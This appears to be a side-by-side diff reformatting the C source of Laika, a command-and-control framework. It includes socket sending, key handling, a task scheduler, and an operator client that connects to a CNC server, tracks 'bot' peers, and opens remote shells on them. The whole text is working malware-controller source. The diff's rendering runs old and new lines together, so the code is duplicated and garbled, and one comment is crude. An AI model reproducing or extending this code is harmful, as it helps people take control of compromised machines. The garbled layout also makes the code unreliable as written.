/* write bytes to the socket until an error occurs or we finish sending */ /* write bytes to the socket until an error occurs or we finish sending */
do { do {
sent = send(sock->sock, (buffer_t*)(&sock->outBuf[sentBytes]), sz - sentBytes, LN_MSG_NOSIGNAL); sent = send(sock->sock, (buffer_t *)(&sock->outBuf[sentBytes]), sz - sentBytes,
LN_MSG_NOSIGNAL);
/* check for error result */ /* check for error result */
if (sent == 0) { /* connection closed gracefully */ if (sent == 0) { /* connection closed gracefully */
@ -333,7 +363,8 @@ RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed
} else if (SOCKETERROR(sent)) { /* socket error? */ } else if (SOCKETERROR(sent)) { /* socket error? */
if (LN_ERRNO != LN_EWOULD if (LN_ERRNO != LN_EWOULD
#ifndef _WIN32 #ifndef _WIN32
/* posix also has some platforms which define EAGAIN as a different value than EWOULD, might as well support it. */ /* posix also has some platforms which define EAGAIN as a different value than
EWOULD, might as well support it. */
&& LN_ERRNO != EAGAIN && LN_ERRNO != EAGAIN
#endif #endif
) { /* socket error! */ ) { /* socket error! */
@ -348,7 +379,7 @@ RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed
errCode = RAWSOCK_POLL; errCode = RAWSOCK_POLL;
goto _rawWriteExit; goto _rawWriteExit;
} }
} while((sentBytes += sent) < sz); } while ((sentBytes += sent) < sz);
_rawWriteExit: _rawWriteExit:
#if 0 #if 0

View File

@ -2,23 +2,28 @@
#include <string.h> #include <string.h>
bool laikaK_loadKeys(uint8_t *outPub, uint8_t *outPriv, const char *inPub, const char *inPriv) { bool laikaK_loadKeys(uint8_t *outPub, uint8_t *outPriv, const char *inPub, const char *inPriv)
{
size_t _unused; size_t _unused;
if (outPub && sodium_hex2bin(outPub, crypto_kx_PUBLICKEYBYTES, inPub, strlen(inPub), NULL, &_unused, NULL) != 0) if (outPub && sodium_hex2bin(outPub, crypto_kx_PUBLICKEYBYTES, inPub, strlen(inPub), NULL,
return false; &_unused, NULL) != 0)
return false;
if (outPriv && sodium_hex2bin(outPriv, crypto_kx_SECRETKEYBYTES, inPriv, strlen(inPriv), NULL, &_unused, NULL) != 0)
if (outPriv && sodium_hex2bin(outPriv, crypto_kx_SECRETKEYBYTES, inPriv, strlen(inPriv), NULL,
&_unused, NULL) != 0)
return false; return false;
return true; return true;
} }
bool laikaK_genKeys(uint8_t *outPub, uint8_t *outPriv) { bool laikaK_genKeys(uint8_t *outPub, uint8_t *outPriv)
{
return crypto_kx_keypair(outPub, outPriv) == 0; return crypto_kx_keypair(outPub, outPriv) == 0;
} }
bool laikaK_checkAuth(uint8_t *pubKey, uint8_t **authKeys, int keys) { bool laikaK_checkAuth(uint8_t *pubKey, uint8_t **authKeys, int keys)
{
int i; int i;
/* check if key is in authKey list */ /* check if key is in authKey list */

View File

@ -1,19 +1,24 @@
#include "lmem.h"
#include "ltask.h" #include "ltask.h"
/* this is the only reason C11 support is needed, i cba to write windows/linux specific stuff to get the current time in ms #include "lmem.h"
also side note: microsoft? more like micropenis */
long laikaT_getTime() { /* this is the only reason C11 support is needed, i cba to write windows/linux specific stuff to get
the current time in ms also side note: microsoft? more like micropenis */
long laikaT_getTime()
{
struct timespec ts; struct timespec ts;
timespec_get(&ts, TIME_UTC); timespec_get(&ts, TIME_UTC);
return ts.tv_sec*1000 + ts.tv_nsec/1000000; /* convert time (seconds & nanoseconds) to milliseconds */ return ts.tv_sec * 1000 +
ts.tv_nsec / 1000000; /* convert time (seconds & nanoseconds) to milliseconds */
} }
void laikaT_initTaskService(struct sLaika_taskService *service) { void laikaT_initTaskService(struct sLaika_taskService *service)
{
service->headTask = NULL; service->headTask = NULL;
} }
void laikaT_cleanTaskService(struct sLaika_taskService *service) { void laikaT_cleanTaskService(struct sLaika_taskService *service)
{
struct sLaika_task *curr = service->headTask, *last; struct sLaika_task *curr = service->headTask, *last;
/* walk though tasks, freeing all */ /* walk though tasks, freeing all */
@ -24,7 +29,8 @@ void laikaT_cleanTaskService(struct sLaika_taskService *service) {
} }
} }
void scheduleTask(struct sLaika_taskService *service, struct sLaika_task *task) { void scheduleTask(struct sLaika_taskService *service, struct sLaika_task *task)
{
struct sLaika_task *curr = service->headTask, *last = NULL; struct sLaika_task *curr = service->headTask, *last = NULL;
task->scheduled = laikaT_getTime() + task->delta; task->scheduled = laikaT_getTime() + task->delta;
@ -47,7 +53,8 @@ void scheduleTask(struct sLaika_taskService *service, struct sLaika_task *task)
} }
} }
void unscheduleTask(struct sLaika_taskService *service, struct sLaika_task *task) { void unscheduleTask(struct sLaika_taskService *service, struct sLaika_task *task)
{
struct sLaika_task *curr = service->headTask, *last = NULL; struct sLaika_task *curr = service->headTask, *last = NULL;
if (task == service->headTask) { /* if task is root, set root to next */ if (task == service->headTask) { /* if task is root, set root to next */
@ -65,7 +72,9 @@ void unscheduleTask(struct sLaika_taskService *service, struct sLaika_task *task
} }
} }
struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta, taskCallback callback, void *uData) { struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta,
taskCallback callback, void *uData)
{
struct sLaika_task *task = laikaM_malloc(sizeof(struct sLaika_task)); struct sLaika_task *task = laikaM_malloc(sizeof(struct sLaika_task));
task->callback = callback; task->callback = callback;
@ -77,17 +86,21 @@ struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta
return task; return task;
} }
void laikaT_delTask(struct sLaika_taskService *service, struct sLaika_task *task) { void laikaT_delTask(struct sLaika_taskService *service, struct sLaika_task *task)
{
unscheduleTask(service, task); unscheduleTask(service, task);
laikaM_free(task); laikaM_free(task);
} }
void laikaT_pollTasks(struct sLaika_taskService *service) { void laikaT_pollTasks(struct sLaika_taskService *service)
{
struct sLaika_task *last, *curr = service->headTask; struct sLaika_task *last, *curr = service->headTask;
clock_t currTick = laikaT_getTime(); clock_t currTick = laikaT_getTime();
/* run each task, list is already sorted from closest scheduled task to furthest */ /* run each task, list is already sorted from closest scheduled task to furthest */
while (curr != NULL && curr->scheduled <= currTick) { /* if scheduled time is greater than currTime, all events that follow are also not scheduled yet */ while (curr != NULL &&
curr->scheduled <= currTick) { /* if scheduled time is greater than currTime, all events
that follow are also not scheduled yet */
/* walk to next task */ /* walk to next task */
last = curr; last = curr;
curr = curr->next; curr = curr->next;
@ -102,7 +115,8 @@ void laikaT_pollTasks(struct sLaika_taskService *service) {
} }
/* will return the delta time in ms till the next event. -1 for no tasks scheduled */ /* will return the delta time in ms till the next event. -1 for no tasks scheduled */
int laikaT_timeTillTask(struct sLaika_taskService *service) { int laikaT_timeTillTask(struct sLaika_taskService *service)
{
if (service->headTask) { if (service->headTask) {
int pause = service->headTask->scheduled - laikaT_getTime(); int pause = service->headTask->scheduled - laikaT_getTime();
return (pause > 0) ? pause : 0; return (pause > 0) ? pause : 0;

View File

@ -3,12 +3,12 @@
#include "hashmap.h" #include "hashmap.h"
#include "lpeer.h" #include "lpeer.h"
#include "ltask.h"
#include "lsodium.h" #include "lsodium.h"
#include "ltask.h"
#include "speer.h" #include "speer.h"
typedef struct sShell_client { typedef struct sShell_client
{
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES]; uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
struct sLaika_pollList pList; struct sLaika_pollList pList;
struct sLaika_taskService tService; struct sLaika_taskService tService;
@ -31,7 +31,8 @@ bool shellC_poll(tShell_client *client, int timeout);
void shellC_loadKeys(tShell_client *client, const char *pub, const char *priv); void shellC_loadKeys(tShell_client *client, const char *pub, const char *priv);
tShell_peer *shellC_getPeerByPub(tShell_client *client, uint8_t *pub, int *id); tShell_peer *shellC_getPeerByPub(tShell_client *client, uint8_t *pub, int *id);
int shellC_addPeer(tShell_client *client, tShell_peer *peer); /* returns new peer id */ /* returns new peer id */
int shellC_addPeer(tShell_client *client, tShell_peer *peer);
void shellC_rmvPeer(tShell_client *client, tShell_peer *peer, int id); void shellC_rmvPeer(tShell_client *client, tShell_peer *peer, int id);
void shellC_openShell(tShell_client *client, tShell_peer *peer, uint16_t col, uint16_t row); void shellC_openShell(tShell_client *client, tShell_peer *peer, uint16_t col, uint16_t row);

View File

@ -1,13 +1,14 @@
#ifndef SHELLCMD_H #ifndef SHELLCMD_H
#define SHELLCMD_H #define SHELLCMD_H
#include <string.h>
#include "sclient.h" #include "sclient.h"
#include <string.h>
typedef void (*shellCmdCallback)(tShell_client *client, int args, char *argc[]); typedef void (*shellCmdCallback)(tShell_client *client, int args, char *argc[]);
typedef struct sShell_cmdDef { typedef struct sShell_cmdDef
{
const char *cmd; const char *cmd;
const char *help; const char *help;
const char *syntax; const char *syntax;

View File

@ -1,17 +1,19 @@
#ifndef SHELLPEER_H #ifndef SHELLPEER_H
#define SHELLPEER_H #define SHELLPEER_H
#include "lsodium.h"
#include "lpeer.h" #include "lpeer.h"
#include "lsodium.h"
typedef struct sShell_peer { typedef struct sShell_peer
{
uint8_t pub[crypto_kx_PUBLICKEYBYTES]; uint8_t pub[crypto_kx_PUBLICKEYBYTES];
char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN]; char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN];
PEERTYPE type; PEERTYPE type;
OSTYPE osType; OSTYPE osType;
} tShell_peer; } tShell_peer;
tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pub, char *hostname, char *inet, char *ipStr); tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pub, char *hostname, char *inet,
char *ipStr);
void shellP_freePeer(tShell_peer *peer); void shellP_freePeer(tShell_peer *peer);
void shellP_printInfo(tShell_peer *peer); void shellP_printInfo(tShell_peer *peer);

View File

@ -1,18 +1,19 @@
#ifndef SHELLTERM_H #ifndef SHELLTERM_H
#define SHELLTERM_H #define SHELLTERM_H
#include <stdlib.h> #include "sclient.h"
#include <stdarg.h> #include <stdarg.h>
#include <stdbool.h>
#include <stdlib.h>
#include <string.h> #include <string.h>
#include <unistd.h>
#include <sys/ioctl.h> #include <sys/ioctl.h>
#include <sys/select.h> #include <sys/select.h>
#include <termios.h> #include <termios.h>
#include <stdbool.h> #include <unistd.h>
#include "sclient.h" typedef enum
{
typedef enum {
TERM_BLACK, TERM_BLACK,
TERM_RED, TERM_RED,
TERM_GREEN, TERM_GREEN,
@ -31,29 +32,34 @@ typedef enum {
TERM_BRIGHT_WHITE TERM_BRIGHT_WHITE
} TERM_COLOR; } TERM_COLOR;
#define PRINTTAG(color) shellT_printf("\r%s[~]%s ", shellT_getForeColor(color), shellT_getForeColor(TERM_BRIGHT_WHITE)) #define PRINTTAG(color) \
shellT_printf("\r%s[~]%s ", shellT_getForeColor(color), shellT_getForeColor(TERM_BRIGHT_WHITE))
#define PRINTINFO(...) do { \ #define PRINTINFO(...) \
PRINTTAG(TERM_BRIGHT_YELLOW); \ do { \
shellT_printf(__VA_ARGS__); \ PRINTTAG(TERM_BRIGHT_YELLOW); \
} while(0); shellT_printf(__VA_ARGS__); \
} while (0);
#define PRINTSUCC(...) do { \ #define PRINTSUCC(...) \
PRINTTAG(TERM_BRIGHT_GREEN); \ do { \
shellT_printf(__VA_ARGS__); \ PRINTTAG(TERM_BRIGHT_GREEN); \
} while(0); shellT_printf(__VA_ARGS__); \
} while (0);
#define PRINTERROR(...) do { \ #define PRINTERROR(...) \
PRINTTAG(TERM_BRIGHT_RED); \ do { \
shellT_printf(__VA_ARGS__); \ PRINTTAG(TERM_BRIGHT_RED); \
} while(0); shellT_printf(__VA_ARGS__); \
} while (0);
void shellT_conioTerm(void); void shellT_conioTerm(void);
void shellT_resetTerm(void); void shellT_resetTerm(void);
const char *shellT_getForeColor(TERM_COLOR); const char *shellT_getForeColor(TERM_COLOR);
void shellT_printf(const char *format, ...); void shellT_printf(const char *format, ...);
/* waits for input for timeout (in ms). returns true if input is ready to be read, false if no events */ /* waits for input for timeout (in ms). returns true if input is ready to be read, false if no
* events */
bool shellT_waitForInput(int timeout); bool shellT_waitForInput(int timeout);
int shellT_readRawInput(uint8_t *buf, size_t max); int shellT_readRawInput(uint8_t *buf, size_t max);
void shellT_writeRawOutput(uint8_t *buf, size_t sz); void shellT_writeRawOutput(uint8_t *buf, size_t sz);
@ -62,6 +68,7 @@ char shellT_getch(void);
int shellT_kbget(void); int shellT_kbget(void);
void shellT_printPrompt(void); void shellT_printPrompt(void);
void shellT_setPrompt(char *prompt); void shellT_setPrompt(char *prompt);
void shellT_addChar(tShell_client *client, int c); /* processes input, moving cursor, adding char to cmd, etc. */ /* processes input, moving cursor, adding char to cmd, etc. */
void shellT_addChar(tShell_client *client, int c);
#endif #endif

View File

@ -1,39 +1,52 @@
#include <stdio.h> #include "ini.h"
#include "sclient.h" #include "sclient.h"
#include "sterm.h" #include "sterm.h"
#include "ini.h"
#define STRING(x) #x #include <stdio.h>
#define STRING(x) #x
#define MACROLITSTR(x) STRING(x) #define MACROLITSTR(x) STRING(x)
const char *LOGO = "\n ██╗ █████╗ ██╗██╗ ██╗ █████╗\n ██║ ██╔══██╗██║██║ ██╔╝██╔══██╗\n ██║ ███████║██║█████╔╝ ███████║\n ██║ ██╔══██║██║██╔═██╗ ██╔══██║\n ███████╗██║ ██║██║██║ ██╗██║ ██║\n ╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝"; const char *LOGO =
"\n ██╗ █████╗ ██╗██╗ ██╗ █████╗\n ██║ ██╔══██╗██║██║ ██╔╝██╔══██╗\n "
" ██║ ███████║██║█████╔╝ ███████║\n ██║ ██╔══██║██║██╔═██╗ ██╔══██║\n "
" ███████╗██║ ██║██║██║ ██╗██║ ██║\n ╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝";
static int iniHandler(void* user, const char* section, const char* name, const char* value) {
tShell_client *client = (tShell_client*)user;
#define MATCH(s, n) strcmp(section, s) == 0 && strcmp(name, n) == 0 #define MATCH(s, n) strcmp(section, s) == 0 && strcmp(name, n) == 0
static int iniHandler(void *user, const char *section, const char *name, const char *value)
{
tShell_client *client = (tShell_client *)user;
if (MATCH("auth", "public-key")) { if (MATCH("auth", "public-key")) {
shellC_loadKeys(client, value, NULL); shellC_loadKeys(client, value, NULL);
PRINTINFO("Auth pubkey: %s\n", value); PRINTINFO("Auth pubkey: %s\n", value);
} else if (MATCH("auth", "private-key")){ } else if (MATCH("auth", "private-key")) {
shellC_loadKeys(client, NULL, value); shellC_loadKeys(client, NULL, value);
} else { } else {
return 0; /* unknown section/name, error */ return 0; /* unknown section/name, error */
} }
return 1; return 1;
} }
bool loadConfig(tShell_client *client, char *config) { #undef MATCH
bool loadConfig(tShell_client *client, char *config)
{
int iniRes; int iniRes;
printf("Loading config file '%s'...\n", config); printf("Loading config file '%s'...\n", config);
if ((iniRes = ini_parse(config, iniHandler, (void*)client)) < 0) { if ((iniRes = ini_parse(config, iniHandler, (void *)client)) < 0) {
switch (iniRes) { switch (iniRes) {
case -1: printf("Couldn't load config file '%s'!\n", config); break; case -1:
case -2: printf("Memory allocation error :/\n"); break; printf("Couldn't load config file '%s'!\n", config);
default: break;
printf("Parser error on line %d in config file '%s'!\n", iniRes, config); case -2:
printf("Memory allocation error :/\n");
break;
default:
printf("Parser error on line %d in config file '%s'!\n", iniRes, config);
} }
return false; return false;
} }
@ -41,19 +54,26 @@ bool loadConfig(tShell_client *client, char *config) {
return true; return true;
} }
int main(int argv, char *argc[]) { int main(int argv, char *argc[])
{
tShell_client client; tShell_client client;
char *configFile = "shell.ini"; char *configFile = "shell.ini";
bool printPrompt = false; bool printPrompt = false;
shellT_printf("%s%s\n%s", shellT_getForeColor(TERM_BRIGHT_RED), LOGO, shellT_getForeColor(TERM_BRIGHT_WHITE)); shellT_printf("%s%s\n%s", shellT_getForeColor(TERM_BRIGHT_RED), LOGO,
shellT_printf(" made with %s<3%s by CPunch - %s\n\nType 'help' for a list of commands\n\n", shellT_getForeColor(TERM_BRIGHT_RED), shellT_getForeColor(TERM_BRIGHT_WHITE), "v" MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR) "-" LAIKA_VERSION_COMMIT); shellT_getForeColor(TERM_BRIGHT_WHITE));
shellT_printf(
" made with %s<3%s by CPunch - %s\n\nType 'help' for a list of commands\n\n",
shellT_getForeColor(TERM_BRIGHT_RED), shellT_getForeColor(TERM_BRIGHT_WHITE),
"v" MACROLITSTR(LAIKA_VERSION_MAJOR) "."
MACROLITSTR(LAIKA_VERSION_MINOR) "-" LAIKA_VERSION_COMMIT);
shellC_init(&client); shellC_init(&client);
/* load config file */ /* load config file */
if (argv >= 2) if (argv >= 2)
configFile = argc[1]; configFile = argc[1];
if (!loadConfig(&client, configFile)) if (!loadConfig(&client, configFile))
return 1; return 1;
@ -61,7 +81,7 @@ int main(int argv, char *argc[]) {
shellC_connectToCNC(&client, LAIKA_CNC_IP, LAIKA_CNC_PORT); shellC_connectToCNC(&client, LAIKA_CNC_IP, LAIKA_CNC_PORT);
shellT_conioTerm(); shellT_conioTerm();
while(laikaS_isAlive((&client.peer->sock))) { while (laikaS_isAlive((&client.peer->sock))) {
/* poll for 50ms */ /* poll for 50ms */
if (!shellC_poll(&client, 50)) { if (!shellC_poll(&client, 50)) {
/* check if we have input! */ /* check if we have input! */

View File

@ -1,57 +1,63 @@
#include "lmem.h" #include "sclient.h"
#include "lerror.h" #include "lerror.h"
#include "lmem.h"
#include "lpacket.h" #include "lpacket.h"
#include "lsodium.h" #include "lsodium.h"
#include "sterm.h" #include "sterm.h"
#include "sclient.h" void shell_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick,
void *uData)
{
void shell_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) { tShell_client *client = (tShell_client *)uData;
tShell_client *client = (tShell_client*)uData;
laikaS_emptyOutPacket(client->peer, LAIKAPKT_PINGPONG); laikaS_emptyOutPacket(client->peer, LAIKAPKT_PINGPONG);
} }
/* ======================================[[ PeerHashMap ]]====================================== */ /* ======================================[[ PeerHashMap ]]====================================== */
typedef struct sShell_hashMapElem { typedef struct sShell_hashMapElem
{
int id; int id;
tShell_peer *peer; tShell_peer *peer;
uint8_t *pub; uint8_t *pub;
} tShell_hashMapElem; } tShell_hashMapElem;
int shell_ElemCompare(const void *a, const void *b, void *udata) { int shell_ElemCompare(const void *a, const void *b, void *udata)
{
const tShell_hashMapElem *ua = a; const tShell_hashMapElem *ua = a;
const tShell_hashMapElem *ub = b; const tShell_hashMapElem *ub = b;
return memcmp(ua->pub, ub->pub, crypto_kx_PUBLICKEYBYTES); return memcmp(ua->pub, ub->pub, crypto_kx_PUBLICKEYBYTES);
} }
uint64_t shell_ElemHash(const void *item, uint64_t seed0, uint64_t seed1) { uint64_t shell_ElemHash(const void *item, uint64_t seed0, uint64_t seed1)
{
const tShell_hashMapElem *u = item; const tShell_hashMapElem *u = item;
return *(uint64_t*)(u->pub); /* hashes pub key (first 8 bytes) */ return *(uint64_t *)(u->pub); /* hashes pub key (first 8 bytes) */
} }
/* ====================================[[ Packet Handlers ]]==================================== */ /* ====================================[[ Packet Handlers ]]==================================== */
void shellC_handleHandshakeRes(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { void shellC_handleHandshakeRes(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
uint8_t endianness = laikaS_readByte(&peer->sock); uint8_t endianness = laikaS_readByte(&peer->sock);
peer->sock.flipEndian = endianness != laikaS_isBigEndian(); peer->sock.flipEndian = endianness != laikaS_isBigEndian();
PRINTSUCC("Handshake accepted!\n"); PRINTSUCC("Handshake accepted!\n");
} }
void shellC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { void shellC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
LAIKA_DEBUG("got ping from cnc!\n"); LAIKA_DEBUG("got ping from cnc!\n");
/* stubbed */ /* stubbed */
} }
void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { {
char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN]; char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN];
uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
tShell_client *client = (tShell_client*)uData; tShell_client *client = (tShell_client *)uData;
tShell_peer *bot; tShell_peer *bot;
uint8_t type, osType; uint8_t type, osType;
@ -78,9 +84,10 @@ void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uDat
shellC_addPeer(client, bot); shellC_addPeer(client, bot);
} }
void shellC_handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { void shellC_handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
tShell_client *client = (tShell_client*)uData; tShell_client *client = (tShell_client *)uData;
tShell_peer *bot; tShell_peer *bot;
uint8_t type; uint8_t type;
int id; int id;
@ -100,17 +107,19 @@ void shellC_handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uDat
shellC_rmvPeer(client, bot, id); shellC_rmvPeer(client, bot, id);
} }
void shellC_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { void shellC_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
/* stubbed! this packet is a no-op currently */ /* stubbed! this packet is a no-op currently */
} }
void shellC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { void shellC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
uint8_t buf[LAIKA_SHELL_DATA_MAX_LENGTH]; uint8_t buf[LAIKA_SHELL_DATA_MAX_LENGTH];
tShell_client *client = (tShell_client*)uData; tShell_client *client = (tShell_client *)uData;
uint32_t id; uint32_t id;
/* ignore packet if malformed */ /* ignore packet if malformed */
if (sz > LAIKA_SHELL_DATA_MAX_LENGTH+sizeof(uint32_t) || sz <= sizeof(uint32_t)) if (sz > LAIKA_SHELL_DATA_MAX_LENGTH + sizeof(uint32_t) || sz <= sizeof(uint32_t))
return; return;
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); /* this is ignored for now */ laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); /* this is ignored for now */
@ -124,8 +133,9 @@ void shellC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
shellT_writeRawOutput(buf, sz); shellT_writeRawOutput(buf, sz);
} }
void shellC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { void shellC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
tShell_client *client = (tShell_client*)uData; {
tShell_client *client = (tShell_client *)uData;
uint32_t id; uint32_t id;
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); /* this is ignored for now */ laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); /* this is ignored for now */
@ -176,26 +186,24 @@ struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = {
/* clang-format on */ /* clang-format on */
/* socket event */ /* socket event */
void shellC_onPollFail(struct sLaika_socket *sock, void *uData) { void shellC_onPollFail(struct sLaika_socket *sock, void *uData)
struct sLaika_peer *peer = (struct sLaika_peer*)sock; {
struct sShell_client *client = (struct sShell_client*)uData; struct sLaika_peer *peer = (struct sLaika_peer *)sock;
struct sShell_client *client = (struct sShell_client *)uData;
laikaS_kill(&client->peer->sock); laikaS_kill(&client->peer->sock);
} }
/* ======================================[[ Client API ]]======================================= */ /* ======================================[[ Client API ]]======================================= */
void shellC_init(tShell_client *client) { void shellC_init(tShell_client *client)
{
laikaP_initPList(&client->pList); laikaP_initPList(&client->pList);
client->peer = laikaS_newPeer( client->peer = laikaS_newPeer(shellC_pktTbl, &client->pList, shellC_onPollFail, (void *)client,
shellC_pktTbl, (void *)client);
&client->pList,
shellC_onPollFail,
(void*)client,
(void*)client
);
client->peers = hashmap_new(sizeof(tShell_hashMapElem), 8, 0, 0, shell_ElemHash, shell_ElemCompare, NULL, NULL); client->peers = hashmap_new(sizeof(tShell_hashMapElem), 8, 0, 0, shell_ElemHash,
shell_ElemCompare, NULL, NULL);
client->openShell = NULL; client->openShell = NULL;
client->peerTbl = NULL; client->peerTbl = NULL;
client->peerTblCap = 4; client->peerTblCap = 4;
@ -223,7 +231,8 @@ void shellC_init(tShell_client *client) {
} }
} }
void shellC_cleanup(tShell_client *client) { void shellC_cleanup(tShell_client *client)
{
int i; int i;
laikaS_freePeer(client->peer); laikaS_freePeer(client->peer);
@ -240,13 +249,15 @@ void shellC_cleanup(tShell_client *client) {
laikaM_free(client->peerTbl); laikaM_free(client->peerTbl);
} }
void shellC_connectToCNC(tShell_client *client, char *ip, char *port) { void shellC_connectToCNC(tShell_client *client, char *ip, char *port)
{
struct sLaika_socket *sock = &client->peer->sock; struct sLaika_socket *sock = &client->peer->sock;
PRINTINFO("Connecting to %s:%s...\n", ip, port); PRINTINFO("Connecting to %s:%s...\n", ip, port);
/* create encryption keys */ /* create encryption keys */
if (crypto_kx_client_session_keys(client->peer->inKey, client->peer->outKey, client->pub, client->priv, client->peer->peerPub) != 0) if (crypto_kx_client_session_keys(client->peer->inKey, client->peer->outKey, client->pub,
client->priv, client->peer->peerPub) != 0)
LAIKA_ERROR("failed to gen session key!\n"); LAIKA_ERROR("failed to gen session key!\n");
/* setup socket */ /* setup socket */
@ -262,7 +273,8 @@ void shellC_connectToCNC(tShell_client *client, char *ip, char *port) {
laikaS_writeByte(sock, LAIKA_OSTYPE); laikaS_writeByte(sock, LAIKA_OSTYPE);
laikaS_write(sock, client->pub, sizeof(client->pub)); /* write public key */ laikaS_write(sock, client->pub, sizeof(client->pub)); /* write public key */
/* write stub hostname & ip str (since we're a panel/dummy client, cnc doesn't need this information really) */ /* write stub hostname & ip str (since we're a panel/dummy client, cnc doesn't need this
* information really) */
laikaS_zeroWrite(sock, LAIKA_HOSTNAME_LEN); laikaS_zeroWrite(sock, LAIKA_HOSTNAME_LEN);
laikaS_zeroWrite(sock, LAIKA_INET_LEN); laikaS_zeroWrite(sock, LAIKA_INET_LEN);
laikaS_endOutPacket(client->peer); laikaS_endOutPacket(client->peer);
@ -276,7 +288,8 @@ void shellC_connectToCNC(tShell_client *client, char *ip, char *port) {
/* the handshake requests will be sent on the next call to shellC_poll */ /* the handshake requests will be sent on the next call to shellC_poll */
} }
bool shellC_poll(tShell_client *client, int timeout) { bool shellC_poll(tShell_client *client, int timeout)
{
struct sLaika_pollEvent *evnts; struct sLaika_pollEvent *evnts;
int numEvents, i; int numEvents, i;
@ -299,15 +312,18 @@ bool shellC_poll(tShell_client *client, int timeout) {
return true; return true;
} }
void shellC_loadKeys(tShell_client *client, const char *pub, const char *priv) { void shellC_loadKeys(tShell_client *client, const char *pub, const char *priv)
{
if (!laikaK_loadKeys(pub ? client->pub : NULL, priv ? client->priv : NULL, pub, priv)) { if (!laikaK_loadKeys(pub ? client->pub : NULL, priv ? client->priv : NULL, pub, priv)) {
shellC_cleanup(client); shellC_cleanup(client);
LAIKA_ERROR("Failed to init keypair!\n"); LAIKA_ERROR("Failed to init keypair!\n");
} }
} }
tShell_peer *shellC_getPeerByPub(tShell_client *client, uint8_t *pub, int *id) { tShell_peer *shellC_getPeerByPub(tShell_client *client, uint8_t *pub, int *id)
tShell_hashMapElem *elem = (tShell_hashMapElem*)hashmap_get(client->peers, &(tShell_hashMapElem){.pub = pub}); {
tShell_hashMapElem *elem =
(tShell_hashMapElem *)hashmap_get(client->peers, &(tShell_hashMapElem){.pub = pub});
/* return peer if elem was found, otherwise return NULL */ /* return peer if elem was found, otherwise return NULL */
if (elem) { if (elem) {
@ -319,7 +335,8 @@ tShell_peer *shellC_getPeerByPub(tShell_client *client, uint8_t *pub, int *id) {
} }
} }
int shellC_addPeer(tShell_client *client, tShell_peer *newPeer) { int shellC_addPeer(tShell_client *client, tShell_peer *newPeer)
{
/* find empty ID */ /* find empty ID */
int id; int id;
for (id = 0; id < client->peerTblCount; id++) { for (id = 0; id < client->peerTblCount; id++) {
@ -329,7 +346,8 @@ int shellC_addPeer(tShell_client *client, tShell_peer *newPeer) {
/* if we didn't find an empty id, grow the array */ /* if we didn't find an empty id, grow the array */
if (id == client->peerTblCount) { if (id == client->peerTblCount) {
laikaM_growarray(tShell_peer*, client->peerTbl, 1, client->peerTblCount, client->peerTblCap); laikaM_growarray(tShell_peer *, client->peerTbl, 1, client->peerTblCount,
client->peerTblCap);
client->peerTblCount++; client->peerTblCount++;
} }
@ -337,7 +355,8 @@ int shellC_addPeer(tShell_client *client, tShell_peer *newPeer) {
client->peerTbl[id] = newPeer; client->peerTbl[id] = newPeer;
/* insert into hashmap */ /* insert into hashmap */
hashmap_set(client->peers, &(tShell_hashMapElem){.id = id, .pub = newPeer->pub, .peer = newPeer}); hashmap_set(client->peers,
&(tShell_hashMapElem){.id = id, .pub = newPeer->pub, .peer = newPeer});
/* let user know */ /* let user know */
